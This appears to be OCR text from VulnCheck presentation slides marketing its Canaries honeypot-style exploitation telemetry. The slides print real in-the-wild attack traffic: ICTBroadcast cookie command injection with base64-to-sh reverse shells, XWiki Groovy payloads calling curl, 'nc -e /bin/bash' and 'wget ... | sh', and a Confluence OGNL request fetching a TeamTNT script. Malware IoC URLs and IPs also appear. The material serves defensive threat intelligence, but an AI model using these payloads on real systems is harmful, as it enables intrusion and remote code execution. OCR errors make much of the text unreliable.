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Exploitation Moves Faster Than Reporting

Time From CVE to Exploitation Evidence
Source: VulnCheck KEV TH-2025

(%£Z°) L paysiigndun

(%£27") L poroofoy —f=

<1Day 1- 31 Days 32 - 365 Days 1-2 Year 2-4 Years 4+ Years
139 (32.1%) 38 (8.78%) 95 (21.94%) 44 (10.16%) 55 (12.70%) 60 (13.86%)

@ VulnCheck



We know as an industry CVEs are exploited... but not always how

Honeypots catch noise but
rarely real attacks.

Open hosts qguantified
from Shodan/OSINT !=
verified exploitation.

Scanning traffic != verified
exploitation
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Introducing VulnCheck Canaries

Intentionally vulnerable systems deployed globally.
Capture real attacker behavior on real software.

Record payloads, IPs, geolocation, exploited CVEs.

Verified exploitation telemetry in data.
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How Canary Intelligence Works
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What Makes VulnCheck Canaries Different
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What Makes VulnCheck Canaries Different
) ot onon s

Over the long weekend, VulnCheck observed in-the-wild exploitation of
CVE-2025-2611, an unauthenticated command injection vulnerability in
ICTBroadcast that allows for RCE. A couple hundred instances are exposed to
the internet, which @albinolobster notes is definitely not the recommended

configuration.

vulncheck.com/blog/ictbroadcas

VulnCheck
B ICTBroadcast Command Injection Actively Ex...

Attackers are abusing an unauthenticated command injection ...

1 O oy L e Oct 14

Niels Heinen
. . .
= @heinen@infosec.exchange

@catcOn @albinolobster | don't see this on my honeypots, how did
you detect this ? Did you emulate an ICTBroadcast on a honeypot
and got selected for attacks that way ?

Oct 23, 2025, 07:43 AM - & - Mastodon for Android

0 boosts - 0 quotes - 0 favorites

& - N+ [l
Caitlin Condon EN=E &
[@catcOn

@heinen @albinolobster Hi Niels! Nope, we detected exploitation against a
live system.
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What Makes VulnCheck Canaries Different

// 80/ TCP [

Apache httpd 245
. ICTBroadcast[User :: Login]

HTTP/1.1 288 0K

Date: 5at, 15 MNov 2025 17:43:80 GMT

Server: Apaches2.4.6 (Cent0S) OpenSSL/1.0.2k-fips PHP/5.4.16

X-Powered-By: PHP/5.4.16

Set—Cookie: BROADCAST=mtatnekidhorer28ggqvSm75Te7; path=/

Expires: Thu, 19 Nov 1981 85:52:00 GMT

Cache-Control: no—-store, no-cache, must-revalidate, post-check=8, pre-check=8
Pragma: no-cache

Content-Length: 6185
Content-Type: text/html; charset=UTF-8

Vulnerabilities

oo ] 1 10 o

11

GET /login.php HTTP/1.1

Host:

User—Agent: Mozilla/5.@ (iPad; CPU 0S5 17_7_2 like Mac 05 X) AppleWebKit/6@5.1.15
(KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1

Cookie: BROADCAST="echo${IFS}c2x1ZXAgMw==|base64${IFS}-d|sh’

The attacker uses a classic command-injection technique: baseGd-encoding the payload, decoding it
with base64 —-d , then executing it with sh . The payload above decodes to sleep 3 and functions as

a timing probe to confirm command execution.

Subsequent attacks used multiple methods to create reverse shells. From traditional mkfifo + nc :

GET /login.php HTTP/1.1

Host:

User—Agent: Mozillas5.@ (iPad; CPU 0S5 17_7_2 like Mac 05 X) AppleWebKit/6@5.1.15
(KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1

Cookie: BROADCAST="echo${IFS}
bWtmaWZvIC98bXAvcGZnbWdE0yBuY yAINXNWOW] LeGoubGl | YWxBby5uZXQgMj IIMiAWPCIBbXAVEGZnbWIEIH
wglL2Jpbi9zaCA+L3RtcCOwZmdtZ30gMj4mMTsgcmBgL3RtcC9wimdtZ30=|baseb45{IF5}—d|sh’




VulnCheck Canary Data: Scanning

"src_ip": "18.228.3.224",

"src_port": 35900,

"src_country": "BR",

"dst_country": "FR",

"cve'": "CVE-2025-24893",

"signature_id": 12700499,

"signature": "VULNCHECK XWiki CVE-2025-24893 Exploit Attempt (Groovy)",

"category": "Web Application Attack",

"severity": T,

"payload":
"ROVUIC94d2IraS9iaW4vZ2VOL0ThaW4vU29scINIYXJjaDOtZWRpYTlyc3MmMdAGV4dDOINOQINOQINOIINOIhc3luYyUyMGFzeWS5]JJTNEZmFsc2UINOQINOQINOI|
NOINcmOvdnkINOQINOQIM]jJjdXIsITIwa3NkdXFIcWtzZ3l3bnNvaX|3c2c4OWVxbzB4cnRIbHBhLM9hc3QuZnVuLzIIMjluZXhlY3V0ZSUyOCUyOSU3QiU3Qi9Nc
MOvVANKINOQINOQINOIINOIVYXN5bmMMINOQINOQgSFRUUC8XLJENCkhvc3QoIFZDX1JFREFDVEVEDQPVc2VYLUFNZW500iBweXRob24tcmVxdWVzdHMvVMIi4
zMi40DQpPBY2NIcHQtRW5jb2RpbmcolGdeaXAsIGRIZmMxhdGUsIHpzd GQNCKFjY2VwdDogKi8gDQpDb25uZWNOaW9uOIiBrZWVwLWFsaXZIDQoNCg==",

"http": {

"url": "/xwiki/bin/get/Main/SolrSearch?
mMedia=rss&text=%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7D%22curl%20ksduqeqksgywnsoiywsg89eqoOxrtelpa.oast.fun
[2%22.execute%28%29%7B%7B/groovy%7D%7D%7B%7B/async%7D%7D",

"http_user_agent": "python-requests/2.32.4",

"protocol": "HTTP/1.1"

2
"timestamp": "2025-10-31T10:28:30.367Z"

}
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VulnCheck Canary Data: Exploitation

"src_ip": "18.228.3.224",

"src_port": 37348,

"src_country": "BR",

"dst_country": "FR",

"cve": "CVE-2025-24893",

"signature_id": 12700499,

"signature": "VULNCHECK XWiki CVE-2025-24893 Exploit Attempt (Groovy)",

"category": "Web Application Attack",

"severity": T,

"payload":
"ROVUIC94d2IraS9iaW4vZ2VOL0ThaW4vU29scINIYXJjaDOtZWRpYTlyc3MmMdAGV4dDOINOQINOQINOIINOIhc3luYyUyMGFzeWS5]JJTNEZmFsc2UINOQINOQINOI|
NOINcmOvdnkINOQINOQIMjJIdXN5YMI4JTIwbmMIMjAXOC4yMjguMy4yMjQIMJAANDQzITIWLWUIMJAVYMIuL2Ihc2gIMjluzZzXhlY3V0ZSUyOCUyOSU3QiIU3Q
I9NcMOVANKINOQINOQINOIINOIVYXN5bmMINOQINOQgSFRUUC8XLJENCkhvc3QolFZDXIIFREFDVEVEDQPVc2VYLUFNZW500iBweXRob24tcmVxdWVzdHM
vMIi4zMi40DQpBY2NIcHQtRWS5jb2RpbmcolGdeaXAsIGRIZmMxhdGUsIHpzd GQNCKFjY2VwdDogKi8gDQpDb25uZWNOaW9uOIiBrZWVwLWFsaXZIDQoNCg=

"http": {

"url": "/xwiki/bin/get/Main/SolrSearch?
media=rss&text=%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7D%22busybox%20nc%2018.228.3.224%208443%20-e%20/bin/
bash%22.execute%28%29%7B%7B/groovy%7D%7D%7B%7B/async%7D%7D",

"http_user_agent": "python-requests/2.32.4",

"orotocol": "HTTP/1.1"

L
"timestamp": "2025-10-31T10:36:30.275Z"

}
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VulnCheck Canary Data

"src_ip": "45.153.34.156",

"src_port":. 42772,

"src_country": "NL",

"dst_country": "US",

"cve': "CVE-2025-24893",

"sighature_id": 12700499,

"sighature": "VULNCHECK XWiki CVE-2025-24893 Exploit Attempt (Groovy)",

"category": "Web Application Attack",

"severity": 1,

"oayload":
"ROVUIC94d2IraS9iaW4vZ2VOLOThaW4vU29scINIYXJjaDOtZWRpYTlyc3AMmMdGV4dDOINOIINOIhc3luYyUyMGFzeW5jJTNEZmFsc2UINOQINOQINOII
NOINcm9OvdnkINOQINOQINUIIMjdzaCUyNyUyQyUyMCUyNy1lJJTI3ITIDITIWITI3d2dIdCUyMCIxTyOIMjBodHRWITNBITIGITICNzQUMTKOLJE5MS41M
IUyRNIVEBMRVLNNkdS5zaCU3Q3NoJTI3ITVELMV4ZWNIdGUIMjgIMjkudCGV4dCU3QIU3QIUyRmMdyb292eSU3RCU3RCU3QIU3QIUyRmMFzeW5)JTdE]
TdEIEhRUVFAVMS4XxDQplb3NOOIBWQI9SRURBQIRFRAOKVXNIciIBZ2VudDogTW96aWxsYS81LJAgKGIhbmcyMDEzQGFOb21pY2ThaWwuaW8pDQ
pDb25uZWNOaW9uOiBjbGC9zZQO0KQWNjZXBOOIAgLYyoNCgOK",

"http": {

"url" "/xwiki/bin/get/Main/SolrSearch?
media=rss&text=%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7D%5B%27sh%27%2C%20%27-c%27%2C%20%27wget%20-qO-
%20http%3A%2F%2F74.194.191.52%2Frondo.sdu.sh%7Csh%27%5D.execute%28%29.text%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D",

"http_user_agent": "Mozilla/5.0 (bang2013@atomicmail.io)",

"orotocol": "HTTP/1.1"

L
"timestamp": "2025-11-12T13:24.31.044 7"

}
@ VulnCheck




Detections as of Nov. 7t", 2025

VulnCheck Canary Exploitation Detection Metrics

VulnCheck Canary Metrics CVEs
Detected Exploitation 228
On VulnCheck KEV
On CISA KEV

Associated with Ransomware
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Known Exploited Vulnerabilities Reported by VulnCheck Canaries (Source: VulnCheck KEV)
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VulnCheck Canaries — CVEs Not Present on CISA KEV (Source: VulnCheck KEV)
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Detection Improvement Example: CVE-2022-26134 (OGNL Injection in Confluence)

GET /$%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-
C€%27%2C%27echo0%20dnVybCgplHsKCUIGUzOVIHIIYWQgLXIgcHIvdG8geCBob3NOIHF1ZXJ351Dw8PCIKkMSIKICAgIGV4ZWMgMzw%2BIi9kZXYvdGNwLyR7aG9zdHOVIHtQT1JUOi04MHOICiAgICBIY2hvIC1
IbiAiROVUIC8ke3F1ZXJ5fSBIVFRQLZEUMFxyXG5Ib3N0OOiAke2hvc3R9XHIcbixyXG4ilD4mMwoglCAgKHdoaWxIIHIIYWQgLXIgbDsgZG8gZWNobyA%2BJjlgliRsljsgW1sgJGwgPT0gJCdccicgXv0gliygyYnJi
YWs7IGRvbmUgJiYgY2FOICkgPCYzCiAgICBleGVjIDM%2BJiOKfQp2dXJsIGhOdHAG6LY9iLjktOS04LmMNvbS9icnlzai93LnNofGIhc2gK%7Cbase64%20-d%7Cbash%27%29.start%28%29%22%29%7D/ HTTP/1.1
Host: VC_REDACTED

User-Agent: Mozilla/5.0 zgrab/0.x

Accept: */*

Accept-Encoding: gzip

GET /${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash',-c')echo
dnVybCgplHsKCUIGUzOVIHIIYWQgLXIgcHIvdG8geCBob3NOIHF1ZXJ5IDw8PCIKkMSIKICAgIGV4ZWMgMzw+li9kZXYvdGNwLYyR7aG9zdHOVIHtQT1JUOi04MHOICiAgICBIY2hvIC1IbiAiROVUIC8ke3F1ZXJ5fS
BIVFRQLzZEUMFxyXG5Ib3N0OiAke2hvc3R9XHIcbixyXG4ilD4mMwoglCAgKHdoaWxIIHIIYWQgLXIgbDsgZG8gZWNobyA+JjlgliRsljsgW1sgJGwgPT0gJCdccicgXV0gliYgYnJIYWs7IGRvbmUgJiYgY2FOICk
gPCYzCiAgICBIleGVjIDM+JiOKfQp2dXJIsIGhOdHA6LY9iLjktOSO04LmNvbS9icnlzai93LnNofGIhc2gK|base64 -d|bash’).start()")}/ HTTP/1.1

\ {
IFS=/ read -r proto x host query <<<"$1"
exec 3<>"/dev/tcp/${host}/${PORT:-80}"
echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
(while read -r I; do echo >82 "$I"; [[ $I == $'\r' ]] && break; done && cat ) <&3
exec 3>&-

}
vurl h[xx]p://b[.]9-9-8[.]com/brysj/w.sh|bash

a, hitp:f/b.9-9-8.com/

COMMUNITY 1

Security vendors' analysis (T}

alphaMountain.al




Detection Improvement Example - CVE-2022-26134 (Confluence OGNL

Injection) Continued
A Deep Dive into TeamTNT and Spinning YARN
Indicators of Compromise (loCs) e Nowhere in the report does it mention a link to CVE-
\dentified Malicious Domains and URLs 2022-26134 or other CVEs that TeamTNT may use in
their crypto-mining campaigns
LA RO B/ e e Targets Docker, Redis, YARN, and Confluence,

Main URL - hxxps://b[.]19-9-8[.]1com/brysj/ _ .
Dropper URL - hxxps://b . 19-9-81 . ] com/brysj/ul . Ish Kubernetes - all commonly used in enterprise

Below are the malicious URLs observed in the binaries:

e Miner URL - hxxps://b[.]9-9-8[.]1com/brysj/d/ar[.]sh environments

* MinerURL=moesi//ib[-19=9=8] - Jcom7brys],/m/enbash] . jtar e Assigned group in October 2021, last updated in
e Remote Shell - hxxps://b[.]9-9-8[.]com/brysj/m/enbio[.]tar )

e Additional URLS - hxxps://m[.]19-9-8[.]com October 2025 on Mitre

IPs Involved

IP Address Last Seen
52.223.13.41 2024-11-26 . "
194.36.190.32 2024-11-13 B R 2years ago
158.160.116.91 2024-10-20 Phising olphabiountin]  parked nsource
2122331215136 2024-09-01
e I 245 8 5 =y 2024-08-15 DETECTION DETAILS RELATIONS COMMUNITY 2
185.208.207.89 2024-08-01 -
154.38.165.7 2024-07-16 Jolin our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.
114.114.114.114 2024-12-02

Security vendors' analysis ()

source: https://isc.sans.edu/diary/31530

alphaMountain.ai BitDefender

CyRadar Dr.\Web

ESET Fortinet


https://attack.mitre.org/groups/G0139/

VulnCheck Canary Data

VulnCheck Index

vulncheck-canaries

Details

Direct evidence of real-world exploitation attempts observed
by VulnCheck’s own global network of canaries. Each event
links attacks back to specific CVEs, exploit signatures, and
source IPs, giving defenders high-confidence intelligence that
a vulnerability is actively being targeted in the wild.

Product

Canary Intelligence

vulncheck-canaries-3d

last 3-days of vulncheck-canaries

Canary Intelligence

vulncheck-canaries-10d

last 10-days of vulncheck-canaries

Canary Intelligence

vulncheck-canaries-30d

last 30-days of vulncheck-canaries

Canary Intelligence

vulncheck-canaries-90d

last 90-days of vulncheck-canaries

Canary Intelligence

ipintel (3d, 10d. 30d, 90d)

Addition of Detected Attacks

IP Intelligence

vulncheck-nvd2

Additional of triggered detections as known exploited w/ daily
references & canary markers

Exploit & Vulnerability Intelligence

exploits

Additional of triggered detections as known exploited w/ daily
references & canary markers

Exploit & Vulnerability Intelligence

vulncheck-kev

Additional of triggered detections as known exploited w/ daily
references & canary markers

VulnCheck Community




In SumMmmary...

Verified exploitation, not speculation.
Real software, real attacks, real time.
Integrated across VulnCheck’s ecosystem.



roduct/canary-intelligence

a Demo
ncheck.com






